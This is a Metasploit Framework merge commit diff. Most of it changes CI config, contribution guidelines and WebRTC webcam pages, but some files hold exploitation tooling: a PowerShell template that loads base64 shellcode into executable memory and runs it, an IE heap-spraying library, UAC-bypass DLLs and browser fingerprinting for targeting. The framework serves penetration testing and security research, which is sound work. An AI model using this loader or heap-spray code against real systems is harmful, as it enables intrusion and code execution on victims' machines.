Merge branch 'upstream/master' into stop_abusing_expand_path

Conflicts:
	lib/msf/core/post/windows/shadowcopy.rb
	modules/exploits/windows/local/bypassuac.rb
	modules/post/windows/gather/wmic_command.rb
	modules/post/windows/manage/persistence.rb
bug/bundler_fix
OJ 2014-03-11 23:13:39 +10:00
commit 3ea3968d88
No known key found for this signature in database
GPG Key ID: 49EEE7511FAA5749
813 changed files with 38903 additions and 13271 deletions

View File

@ -1,11 +1,15 @@
language: ruby
env: MSF_SPOTCHECK_RECENT=1
before_install:
- rake --version
- sudo apt-get update -qq
- sudo apt-get install -qq libpcap-dev
before_script:
- ./tools/msftidy.rb
- cp config/database.yml.travis config/database.yml
- rake db:create
- rake db:migrate
- bundle exec rake --version
- bundle exec rake db:create
- bundle exec rake db:migrate
rvm:
#- '1.8.7'

View File

@ -1,44 +1,68 @@
# Contributing to Metasploit
## Reporting Bugs
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place! What you see here in CONTRIBUTING.md is a
bullet-point list of the do's and don'ts of how to make sure *your*
valuable contributions actually make it into Metasploit's master branch.
If you would like to report a bug, please take a look at [our Redmine
issue
tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
If you care not to follow these rules, your contribution **will** be
closed (*Road House* style). Sorry!
If your bug is new and you'd like to report it you will need to
[register
first](https://dev.metasploit.com/redmine/account/register). Don't
worry, it's easy and fun and takes about 30 seconds.
Incidentally, this is a **short** list. The
[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more
exhaustive and reveals many mysteries. If you read nothing else, take a
look at the standard [development environment setup
guide](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment)
and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes).
When you file a bug report, please include your **steps to reproduce**,
full copy-pastes of Ruby stack traces, and any relevant details about
your environment. Without repro steps, your bug will likely be closed.
With repro steps, your bugs will likely be fixed.
## Code Contributions
## Contributing Metasploit Modules
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
If you have an exploit that you'd like to contribute to the Metasploit
Framework, please familiarize yourself with the
**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
document in the
Metasploit-Framework repository. There are many mysteries revealed in
HACKING concerning code style and content.
### Pull Requests
[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
should corellate with modules at a 1:1 ratio
-- there is rarely a good reason to have two, three, or ten modules on
one pull request, as this dramatically increases the review time
required to land (commit) any of those modules.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`.
* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable.
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
Pull requests tend to be very collaborative for Metasploit -- do not be
surprised if your pull request to rapid7/metasploit-framework triggers a
pull request back to your own fork. In this way, we can isolate working
changes before landing your PR to the Metasploit master branch.
Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) and [#3043](https://github.com/rapid7/metasploit-framework/pull/3043) are a couple good examples to follow.
To save yourself the embarrassment of committing common errors, you will
want to symlink the `msftidy.rb` utility to your pre-commit hooks by
running `ln -s ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit`
from the top-level directory of your metasploit-framework clone. This
will prevent you from committing modules that raise WARNINGS or ERRORS.
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
* **Do** use the [API](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
#### Library Code
* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up.
* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs.
* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code.
#### Bug Fixes
* **Do** include reproduction steps in the form of verification steps.
* **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description.
## Bug Reports
* **Do** report vulnerabilities in Rapid7 software to security@rapid7.com.
* **Do** create a Redmine account and report your bug there.
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
* **Don't** file duplicate reports - search for your bug before filing a new report.
* **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead.
Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow.
If you need some more guidance, talk to the main body of open
source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4)
or e-mail us at [metasploit-hackers](https://lists.sourceforge.net/lists/listinfo/metasploit-hackers)
mailing list.
Also, **thank you** for taking the few moments to read this far! You're
already way ahead of the curve, so keep it up!

148
HACKING
View File

@ -1,139 +1,33 @@
# $Id$
HACKING
=======
This file contains some brief instructions on contributing to the
Metasploit Framework.
(Last updated: 2014-03-04)
Code Style
==========
This document almost entirely deprecated by:
In order to maintain consistency and readability, we ask that you
adhere to the following style guidelines:
CONTRIBUTING.md
- Standard Ruby two-space soft tabs, not hard tabs.
- Try to keep your lines under 100 columns (assuming two-space tabs)
- do; end instead of {} for a block
- Always use str[0,1] instead of str[0]
(This avoids a known ruby 1.8/1.9 incompatibility.)
- Method names should always be lower_case and words separated by "_"
- Variable names should be lower case with words separated by "_"
- Don't depend on any external gems or libraries without talking to
todb to resolve packaging and licensing issues
You can use the the "./tools/msftidy.rb" script to do some rudimentary
checking for various violations.
Code No-Nos
===========
1. Don't print to standard output. Doing so means that users of
interfaces other than msfconsole, such as msfrpc and msfgui, won't see
your output. You can use print_line to accomplish the same thing as
puts.
2. Don't read from standard input, doing so will make your code
lock up the entire module when called from other interfaces. If you
need user input, you can either register an option or expose an
interactive session type specific for the type of exploit.
3. Always use Rex sockets, not ruby sockets. This includes
third-party libraries such as Net::Http. There are several very good
reasons for this rule. First, the framework doesn't get notified on
the creation of ruby sockets and won't know how to clean them up in
case your module raises an exception without cleaning up after itself.
Secondly, non-Rex sockets do not know about routes and therefore can't
be used through a meterpreter tunnel. Lastly, regular sockets miss
out on msf's proxy and SSL features. Msf includes many protocols
already implemented with Rex and if the protocol you need is missing,
porting another library to use them is straight-forward. See our
Net::SSH modifications in lib/net/ssh/ for an example.
4. When opening an IO stream, always force binary with "b" mode (or
using IO#binmode). This not only helps keep Windows and non-Windows
runtime environments consistent with each other, but also guarantees
that files will be treated as ASCII-8BIT instead of UTF-8.
5. Don't use String#[] for a single character. This returns a Fixnum in
ruby 1.8 and a String in 1.9, so it's safer to use the following idiom:
str[idx,1]
which always returns a String. If you need the ASCII byte, unpack it like
so:
tr[idx,1].unpack("C")[0]
6. Whenever possible, avoid using '+' or '+=' to concatenate strings.
The '<<' operator is significantly faster. The difference will become
even more apparent when doing string manipulation in a loop. The
following table approximates the underlying implementation:
Ruby Pseudo-C
----------- ----------------
a = b + c a = malloc(b.len+c.len+1);
strcpy(a, b);
memcpy(a+b.len, c, c.len);
a[b.len + c.len] = '\0';
a = b a = b;
a << c a = realloc(a, a.len+c.len+1);
memcpy(a+a.len, c, c.len);
a[a.len + c.len] = '\0';
Note that the original value of 'b' is lost in the second case. Care
must be taken to duplicate strings that you do not want to modify.
7. For other Ruby 1.8.x/1.9.x compat issues, please see Sam Ruby's
excellent slide show at <http://slideshow.rubyforge.org/ruby19.html>
for an overview of common and not-so-common Ruby version related gotchas.
8. Never, ever use $global variables. This applies to modules, mixins,
and libraries. If you need a "global" within a specific class, you can
use @@class_variables, but most modules should use @instance variables
to store information between methods.
9. Don't craft your XML document raw or by using Nokogiri, the current
preferred way is REXML.
Creating New Modules
====================
When creating a new module, the simplest way to start is to copy
another module that uses the same protocol and modify it to your
needs. If you're creating an exploit module, generally you'll want
to edit the exploit() method. Auxiliary Scanner modules use one of
run_host(), run_range(), or run_batch() instead of exploit().
Non-scanner aux modules use run().
Submitting Your Code
====================
To get started with a Metasploit Framework source clone, simply:
- Fork rapid7/metasploit-framework to your GitHub account
- git clone git://github.com/YourName/metasploit-framework.git
- gem install bundler
- bundle install
More detailed documentation regarding the process for submitting new
modules via GitHub is documented here:
in the same directory as this file, and to a lesser extent:
The Metasploit Development Environment
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
This describes the process of forking, editing, and generating a
pull request, and is the preferred method for bringing new modules
and framework enhancements to the attention of the core Metasploit
development team. Note that this process requires a GitHub account.
Common Coding Mistakes
https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
For Git commits, please adhere to 50/72 formatting: your commits should
start with a line 50 characters or less, followed by a blank line,
followed by one or more lines of explanatory text wrapped at at 72
characters Pull requests with commits not formatted this way will
be rejected without review.
The Ruby Style Guide
https://github.com/bbatsov/ruby-style-guide
For modules, note that Author field is not automatic, and should be
filled in in the format of 'Your Name <user[at]domain.tld>' so future
developers can contact you with any questions.
Ruby 1.9: What to Expect
http://slideshow.rubyforge.org/ruby19.html
You can use the the "./tools/msftidy.rb" script against your new and
changed modules to do some rudimentary checking for various style and
syntax violations.
Licensing for Your New Content
==============================
Licensing
=========
By submitting code contributions to the Metasploit Project it is
assumed that you are offering your code under the Metasploit License
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
@ -141,6 +35,4 @@ are also fine. We specifically cannot include GPL code. LGPL code
is accepted on a case by case basis for libraries only and is never
accepted for modules.
When possible, such as aux and exploit modules, be sure to include
your license designation in the file in the appropriate place.

View File

@ -15,6 +15,10 @@ License: BSD-3-clause
# Last updated: 2013-Nov-04
#
Files: data/templates/to_mem_pshreflection.ps1.template
Copyright: 2012, Matthew Graeber
License: BSD-3-clause
Files: data/john/*
Copyright: 1996-2011 Solar Designer.
License: GPL-2
@ -147,6 +151,11 @@ Files: modules/payloads/singles/windows/speak_pwned.rb
Copyright: 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
License: BSD-3-clause
Files: data/webcam/api.js
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
License: MIT
#
# Gems
#

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1 @@
Any DjVu file can be used this is just a snazzy Metasploit one

View File

@ -184,6 +184,9 @@ window.os_detect.getVersion = function(){
} else if (platform.match(/arm/)) {
// Android and maemo
arch = arch_armle;
if (navigator.userAgent.match(/android/i)) {
os_flavor = 'Android';
}
}
} else if (platform.match(/windows/)) {
os_name = oses_windows;
@ -193,8 +196,7 @@ window.os_detect.getVersion = function(){
if (!ua_version || 0 == ua_version.length) {
ua_is_lying = true;
}
} else if (!document.all && navigator.taintEnabled ||
'MozBlobBuilder' in window) {
} else if (navigator.oscpu && !document.all && navigator.taintEnabled || 'MozBlobBuilder' in window) {
// Use taintEnabled to identify FF since other recent browsers
// implement window.getComputedStyle now. For some reason, checking for
// taintEnabled seems to cause IE 6 to stop parsing, so make sure this
@ -210,7 +212,9 @@ window.os_detect.getVersion = function(){
// Thanks to developer.mozilla.org "Firefox for developers" series for most
// of these.
// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
if (css_is_valid('image-orientation',
if (css_is_valid('cursor', 'cursor', 'grab')) {
ua_version = '27.0';
} else if (css_is_valid('image-orientation',
'imageOrientation',
'0deg')) {
ua_version = '26.0';
@ -877,6 +881,18 @@ window.os_detect.getVersion = function(){
os_flavor = "7";
os_sp = "SP1";
break;
case "11016428":
// IE 11.0.9600.16428 / Windows 7 SP1
ua_version = "11.0";
os_flavor = "7";
os_sp = "SP1";
break;
case "10016384":
// IE 10.0.9200.16384 / Windows 8 x86
ua_version = "10.0";
os_flavor = "8";
os_sp = "SP0";
break;
case "1000":
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
ua_version = "10.0";

192
data/js/memory/heaplib2.js Normal file
View File

@ -0,0 +1,192 @@
//heapLib2 namespace
function heapLib2() { }
//These are attributes that will not actually create a bstr
//and directly use the back-end allocator, completely bypassing the cache
var global_attrs = ["title", "lang", "class"];
heapLib2.ie = function(element, maxAlloc)
{
//128mb
this.maxAlloc = 0x8000000;
//make sure that an HTML DOM element is passed
if(!element.nodeType || element.nodeType != 1)
throw "alloc.argument: element not valid";
this.element = element;
if(maxAlloc)
this.maxAlloc = maxAlloc;
//empty the cache
this.Oleaut32EmptyCache();
this.Oleaut32FillCache();
this.Oleaut32EmptyCache();
}
heapLib2.ie.prototype.newelement = function(element)
{
//make sure that an HTML DOM element is passed
if(!element.nodeType || element.nodeType != 1)
throw "alloc.argument: element not valid";
this.element = element;
}
heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok)
{
if(typeof(cache_ok)==='undefined')
cache_ok = false;
else
cache_ok = true;
//make sure the attribute name is a string
if(typeof attr_name != "string")
throw "alloc.argument: attr_name is not a string";
//make sure that the attribute name is not already present in the html element
if(this.element.getAttribute(attr_name))
throw "alloc.argument: element already contains attr_name: " + attr_name;
//ensure the size is a number
if(typeof size != "number")
throw "alloc.argument: size is not a number: " + size;
//make sure the size isn't one of the special values
if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000))
throw "alloc.argument: size cannot be flushed from cache: " + size;
if(size > this.maxAlloc)
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
//the size must be at a 16-byte boundary this can be commented out but
//the allocations will be rounded to the nearest 16-byte boundary
if(size % 16 != 0)
throw "alloc.argument: size be a multiple of 16: " + size;
//20-bytes will be added to the size
//<4-byte size><data><2-byte null>
size = ((size / 2) - 6);
//May have to change this due to allocation side effects
var data = new Array(size).join(cache_ok ? "C" : "$");
var attr = document.createAttribute(attr_name);
this.element.setAttributeNode(attr);
this.element.setAttribute(attr_name, data);
}
//These items will allocate/free memory and should really
//only be used once per element. You can use a new element
//by calling the 'newelement' method above
heapLib2.ie.prototype.alloc_nobstr = function(val)
{
//make sure the aval is a string
if(typeof val != "string")
throw "alloc.argument: val is not a string";
var size = (val.length * 2) + 6;
if(size > this.maxAlloc)
throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
var i = 0;
var set_gattr = 0;
for(i = 0; i < global_attrs.length; i++)
{
curr_gattr = global_attrs[i];
if(!this.element.getAttribute(curr_gattr))
{
this.element.setAttribute(curr_gattr, "");
this.element.setAttribute(curr_gattr, val);
set_gattr = 1;
break;
}
}
if(set_gattr == 0)
throw "alloc_nobstr: all global attributes are assigned, try a new element";
}
//completely bypass the cache, useful for heap spraying (see heapLib2_test.html)
heapLib2.ie.prototype.sprayalloc = function(attr_name, str)
{
//make sure the attribute name is a string
if(typeof attr_name != "string")
throw "alloc.argument: attr_name is not a string";
//make sure that the attribute name is not already present in the html element
if(this.element.getAttribute(attr_name))
throw "alloc.argument: element already contains attr_name: " + attr_name;
//ensure the size is a number
if(typeof str != "string")
throw "alloc.argument: str is not a string: " + typeof str;
var size = (str.length * 2) + 6;
//make sure the size isn't one of the special values
if(size <= 0x8000)
throw "alloc.argument: bigalloc must be greater than 0x8000: " + size;
if(size > this.maxAlloc)
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
var attr = document.createAttribute(attr_name);
this.element.setAttributeNode(attr);
this.element.setAttribute(attr_name, str);
}
heapLib2.ie.prototype.free = function(attr_name, skip_flush)
{
if(typeof(skip_flush)==='undefined')
skip_flush = false;
else
skip_flush = true;
//make sure that an HTML DOM element is passed
if(!this.element.nodeType || this.element.nodeType != 1)
throw "alloc.argument: element not valid";
//make sure the attribute name is a string
if(typeof attr_name != "string")
throw "alloc.argument: attr_name is not a string";
//make sure that the attribute name is not already present in the html element
if(!this.element.getAttribute(attr_name))
throw "alloc.argument: element does not contain attribute: " + attr_name;
//make sure the cache is full so the chunk returns the general purpose heap
if(!skip_flush)
this.Oleaut32FillCache();
this.element.setAttribute(attr_name, null);
if(!skip_flush)
this.Oleaut32EmptyCache()
}
heapLib2.ie.prototype.Oleaut32FillCache = function()
{
for(var i = 0; i < 6; i++)
{
this.free("cache0x20"+i, true);
this.free("cache0x40"+i, true);
this.free("cache0x100"+i, true);
this.free("cache0x8000"+i, true);
}
}
heapLib2.ie.prototype.Oleaut32EmptyCache = function()
{
for(var i = 0; i < 6; i++)
{
this.alloc("cache0x20"+i, 0x20, true);
this.alloc("cache0x40"+i, 0x40, true);
this.alloc("cache0x100"+i, 0x100, true);
this.alloc("cache0x8000"+i, 0x8000, true);
}
}

Binary file not shown.

Binary file not shown.

View File

@ -158,15 +158,10 @@ class STDProcessBuffer(threading.Thread):
self.data_lock = threading.RLock()
def run(self):
while self.is_alive():
byte = self.std.read(1)
for byte in iter(lambda: self.std.read(1), ''):
self.data_lock.acquire()
self.data += byte
self.data_lock.release()
data = self.std.read()
self.data_lock.acquire()
self.data += data
self.data_lock.release()
def is_read_ready(self):
return len(self.data) != 0

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
data/post/bypassuac-x64.dll Executable file

Binary file not shown.

Binary file not shown.

BIN
data/post/bypassuac-x86.dll Executable file

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,27 @@
function %{func_get_proc_address} {
Param ($%{var_module}, $%{var_procedure})
$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
}
function %{func_get_delegate_type} {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
)
$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
return $%{var_type_builder}.CreateType()
}
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null

193
data/webcam/answerer.html Normal file
View File

@ -0,0 +1,193 @@
<html>
<head>
<title>webcam_chat</title>
<style type="text/css">
div.container {
position: relative;
}
div.windowa {
height: 480px;
width: 640px;
border-radius: 15px;
-moz-border-raidus: 15px;
background-color: black;
position: absolute;
left: 50;
padding : 10px;
margin-left: auto;
margin-right: auto;
text-align: center;
vertical-align: middle;
color: white;
}
div.windowb {
height: 180px;
width: 200px;
border-radius: 15px;
-moz-border-raidus: 15px;
background-color: #9B9B9B;
position: absolute;
top: 480;
left: 470;
padding: 10px;
margin-left: auto;
margin-right: auto;
text-align: center;
vertical-align: middle;
}
div.windowc {
position: absolute;
top: 510;
left: 80;
height: 150px;
width: 380px;
color: red;
}
div.footer {
position: fixed;
bottom: 0;
width: 100%;
padding: 10px;
}
video.peer {
position: absolute;
top: 15;
left: 10;
}
video.self {
position: absolute;
top: 5;
left: 10;
}
</style>
<script src="=WEBRTCAPIJS="> </script>
<script>
window.onerror = function(e) {
document.getElementById("message").innerHTML = "Error: " + e.toString();
}
window.onload = function() {
document.getElementById("message").innerHTML = "Waiting for the session. When the session arrives, you must manually allow the webcam to run in order to join the session."
}
var channel = '=CHANNEL=';
var websocket = new WebSocket('ws://=SERVER=');
var inSession = false;
websocket.onopen = function() {
websocket.push(JSON.stringify({
open: true,
channel: channel
}));
};
websocket.push = websocket.send;
websocket.send = function(data) {
websocket.push(JSON.stringify({
data: data,
channel: channel
}));
};
var peer = new PeerConnection(websocket);
peer.onUserFound = function(userid) {
if (inSession) {
console.debug("Already in session, will not send another participation request");
return;
};
userid = "=OFFERERID=";
getUserMedia(function(stream) {
peer.addStream(stream);
peer.sendParticipationRequest(userid);
inSession = true;
document.getElementById("message").innerHTML = "Session is now active.";
});
};
peer.onStreamAdded = function(e) {
var video = e.mediaElement;
if (e.userid == 'self') {
video.controls = true;
video.setAttribute('width', 200);
video.setAttribute('height', 190);
video.setAttribute('controls', false);
video.setAttribute('class', 'self');
document.getElementById("windowb").appendChild(video);
}
else {
video.controls = true;
video.setAttribute('width', 640);
video.setAttribute('height', 460);
video.setAttribute('controls', false);
video.setAttribute('class', 'peer');
document.getElementById("windowa").appendChild(video);
}
video.muted = false;
video.volume = 0.5;
video.play();
};
peer.onStreamEnded = function(e) {
var video = e.mediaElement;
if (video) {
video.style.opacity = 0;
setTimeout(function() {
video.parentNode.removeChild(video);
}, 1000);
}
document.getElementById("message").innerHTML = "The video session has ended.";
};
function getUserMedia(callback) {
var hints = {audio:true,video:{
optional: [],
mandatory: {
minWidth: 1280,
minHeight: 720,
maxWidth: 1920,
maxHeight: 1080,
minAspectRatio: 1.77
}
}};
navigator.getUserMedia(hints,function(stream) {
var video = document.createElement('video');
video.src = URL.createObjectURL(stream);
peer.onStreamAdded({
mediaElement: video,
userid: 'self',
stream: stream
});
callback(stream);
});
}
</script>
</head>
<body>
<div class="container">
<div class="windowa" id="windowa">
</div>
<div class="windowb" id="windowb">
</div>
<div class="windowc">
<b>Session status (=RHOST=):</b><p></p>
<span id="message"></span>
</div>
</div>
<div class="footer">
<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
</div>
</body>
</html>

363
data/webcam/api.js Normal file
View File

@ -0,0 +1,363 @@
// Muaz Khan - https://github.com/muaz-khan
// MIT License - https://www.webrtc-experiment.com/licence/
// Documentation - https://github.com/muaz-khan/WebRTC-Experiment/tree/master/websocket
(function () {
window.PeerConnection = function (socketURL, userid) {
this.userid = userid || getToken();
this.peers = {};
if (!socketURL) throw 'Socket-URL is mandatory.';
new Signaler(this, socketURL);
this.addStream = function(stream) {
this.MediaStream = stream;
};
};
function Signaler(root, socketURL) {
var self = this;
root.startBroadcasting = function () {
if(!root.MediaStream) throw 'Offerer must have media stream.';
(function transmit() {
socket.send({
userid: root.userid,
broadcasting: true
});
!self.participantFound &&
!self.stopBroadcasting &&
setTimeout(transmit, 3000);
})();
};
root.sendParticipationRequest = function (userid) {
socket.send({
participationRequest: true,
userid: root.userid,
to: userid
});
};
// if someone shared SDP
this.onsdp = function (message) {
var sdp = message.sdp;
if (sdp.type == 'offer') {
root.peers[message.userid] = Answer.createAnswer(merge(options, {
MediaStream: root.MediaStream,
sdp: sdp
}));
}
if (sdp.type == 'answer') {
root.peers[message.userid].setRemoteDescription(sdp);
}
};
root.acceptRequest = function (userid) {
root.peers[userid] = Offer.createOffer(merge(options, {
MediaStream: root.MediaStream
}));
};
var candidates = [];
// if someone shared ICE
this.onice = function (message) {
var peer = root.peers[message.userid];
if (peer) {
peer.addIceCandidate(message.candidate);
for (var i = 0; i < candidates.length; i++) {
peer.addIceCandidate(candidates[i]);
}
candidates = [];
} else candidates.push(candidates);
};
// it is passed over Offer/Answer objects for reusability
var options = {
onsdp: function (sdp) {
socket.send({
userid: root.userid,
sdp: sdp,
to: root.participant
});
},
onicecandidate: function (candidate) {
socket.send({
userid: root.userid,
candidate: candidate,
to: root.participant
});
},
onStreamAdded: function (stream) {
console.debug('onStreamAdded', '>>>>>>', stream);
stream.onended = function () {
if (root.onStreamEnded) root.onStreamEnded(streamObject);
};
var mediaElement = document.createElement('video');
mediaElement.id = root.participant;
mediaElement[isFirefox ? 'mozSrcObject' : 'src'] = isFirefox ? stream : window.webkitURL.createObjectURL(stream);
mediaElement.autoplay = true;
mediaElement.controls = true;
mediaElement.play();
var streamObject = {
mediaElement: mediaElement,
stream: stream,
userid: root.participant,
type: 'remote'
};
function afterRemoteStreamStartedFlowing() {
if (!root.onStreamAdded) return;
root.onStreamAdded(streamObject);
}
afterRemoteStreamStartedFlowing();
}
};
function closePeerConnections() {
self.stopBroadcasting = true;
if (root.MediaStream) root.MediaStream.stop();
for (var userid in root.peers) {
root.peers[userid].peer.close();
}
root.peers = {};
}
root.close = function () {
socket.send({
userLeft: true,
userid: root.userid,
to: root.participant
});
closePeerConnections();
};
window.onbeforeunload = function () {
root.close();
};
window.onkeyup = function (e) {
if (e.keyCode == 116)
root.close();
};
function onmessage(e) {
var message = JSON.parse(e.data);
if (message.userid == root.userid) return;
root.participant = message.userid;
// for pretty logging
console.debug(JSON.stringify(message, function (key, value) {
if (value && value.sdp) {
console.log(value.sdp.type, '---', value.sdp.sdp);
return '';
} else return value;
}, '---'));
// if someone shared SDP
if (message.sdp && message.to == root.userid) {
self.onsdp(message);
}
// if someone shared ICE
if (message.candidate && message.to == root.userid) {
self.onice(message);
}
// if someone sent participation request
if (message.participationRequest && message.to == root.userid) {
self.participantFound = true;
if (root.onParticipationRequest) {
root.onParticipationRequest(message.userid);
} else root.acceptRequest(message.userid);
}
// if someone is broadcasting himself!
if (message.broadcasting && root.onUserFound) {
root.onUserFound(message.userid);
}
if (message.userLeft && message.to == root.userid) {
closePeerConnections();
}
}
var socket = socketURL;
if(typeof socketURL == 'string') {
socket = new WebSocket(socketURL);
socket.push = socket.send;
socket.send = function (data) {
socket.push(JSON.stringify(data));
};
socket.onopen = function () {
console.log('websocket connection opened.');
};
}
socket.onmessage = onmessage;
}
var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
var RTCSessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
var RTCIceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
navigator.getUserMedia = navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
window.URL = window.webkitURL || window.URL;
var isFirefox = !!navigator.mozGetUserMedia;
var isChrome = !!navigator.webkitGetUserMedia;
var STUN = {
url: isChrome ? 'stun:stun.l.google.com:19302' : 'stun:23.21.150.121'
};
var TURN = {
url: 'turn:homeo@turn.bistri.com:80',
credential: 'homeo'
};
var iceServers = {
iceServers: [STUN]
};
if (isChrome) {
if (parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2]) >= 28)
TURN = {
url: 'turn:turn.bistri.com:80',
credential: 'homeo',
username: 'homeo'
};
iceServers.iceServers = [STUN, TURN];
}
var optionalArgument = {
optional: [{
DtlsSrtpKeyAgreement: true
}]
};
var offerAnswerConstraints = {
optional: [],
mandatory: {
OfferToReceiveAudio: true,
OfferToReceiveVideo: true
}
};
function getToken() {
return Math.round(Math.random() * 9999999999) + 9999999999;
}
function onSdpError() {}
// var offer = Offer.createOffer(config);
// offer.setRemoteDescription(sdp);
// offer.addIceCandidate(candidate);
var Offer = {
createOffer: function (config) {
var peer = new RTCPeerConnection(iceServers, optionalArgument);
if (config.MediaStream) peer.addStream(config.MediaStream);
peer.onaddstream = function (event) {
config.onStreamAdded(event.stream);
};
peer.onicecandidate = function (event) {
if (event.candidate)
config.onicecandidate(event.candidate);
};
peer.createOffer(function (sdp) {
peer.setLocalDescription(sdp);
config.onsdp(sdp);
}, onSdpError, offerAnswerConstraints);
this.peer = peer;
return this;
},
setRemoteDescription: function (sdp) {
this.peer.setRemoteDescription(new RTCSessionDescription(sdp));
},
addIceCandidate: function (candidate) {
this.peer.addIceCandidate(new RTCIceCandidate({
sdpMLineIndex: candidate.sdpMLineIndex,
candidate: candidate.candidate
}));
}
};
// var answer = Answer.createAnswer(config);
// answer.setRemoteDescription(sdp);
// answer.addIceCandidate(candidate);
var Answer = {
createAnswer: function (config) {
